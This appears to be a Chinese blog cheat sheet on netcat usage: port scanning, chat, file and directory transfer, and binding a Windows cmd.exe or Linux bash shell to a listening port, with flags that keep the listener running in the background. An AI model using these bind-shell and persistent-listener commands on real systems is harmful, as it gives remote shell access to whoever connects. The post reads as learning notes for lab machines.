zoukankan      html  css  js  c++  java
  • nc

    扫描端口

    nc -z -v -n 192.168.10.100 20-200

    连接服务

    nc -v 192.168.10.100 21

    开启服务

    nc -l -p 444

    聊天

    一台开启444端口:nc -l -p 444

    另一台连接444端口:nc -v 192.168.10.100 444

    然后就可以传输文本了

    传输文件

    nc -v 192.168.137.128 444<1.txt

    nc -l -p 444 > 2.txt

    传输目录

    监听压缩发送  tar -cvf - dir/  | nc -lp 555 -q 1

    连接解压接收  nc 192.168.137.130 555 | tar -xvf -

    反向模式:

    nc -lp 444 -q 1 | tar xvf -

    tar -cvf - dir/ | nc 192.168.137.128 444

    -q  1  参数,在文件发送端有用,当文件传输完后1秒退出

    连接windows-shell

    win:

    nc -lp 444 -e c:windowssystem32cmd.exe

    kali:

    nc 192.168.137.1 444

    但是这样的连接是一次性的,如果想长久连接添加下面两个参数

    -L  但某个连接断开后,不关闭服务,重新侦听

    -d  从终端上分离,进入后台进程,也就是说终端被关闭了也不会断开服务

    -e  指定连接成功后执行的程序

    连接linux-shell

    linux:

    nc -lp 444 -c bash

    win:

    nc 192.168.137.128 444

     

     执行命令重定向结果

    lin: ifconfig | nc -n 192.168.137.1 444

    win:  nc -lp 444

    windows隐藏小技巧

    Shift+右键可以直接打开cmd

  • 相关阅读:
    AVLTree的实现以及左右旋转维持自平衡
    哈希函数之布隆过滤器
    LeetCode——线段树解决区间总和问题
    第23章 Windows身份验证
    第22章 使用外部身份提供商登录
    第21章 登录
    第20章 定义客户端
    第19章 定义资源
    第18章 启动
    第17章 社区快速入门和模板
  • 原文地址:https://www.cnblogs.com/demonxian3/p/8242282.html
Copyright © 2011-2022 走看看